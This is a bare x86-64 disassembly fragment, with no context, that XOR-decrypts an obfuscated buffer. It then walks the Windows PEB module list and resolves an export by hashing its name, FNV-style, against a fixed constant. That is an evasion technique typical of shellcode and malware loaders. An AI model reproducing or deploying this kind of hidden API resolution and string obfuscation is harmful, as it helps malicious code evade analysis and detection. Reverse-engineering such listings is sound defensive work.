pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400af330]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x1400065f0
cmp r8d, 0x2a
jge 0x140006743
movsxd rax, r8d
lea r9, [rbp + 0x978]
add r9, rax
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2a
jl 0x140006710
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400067d6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400067d6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0xd3a487
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400067d1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400067b0
cmp r8d, 0xc6829506
je 0x1400067db
test r9d, r9d
jne 0x140006790
mov rax, qword [rax]
jmp 0x140006760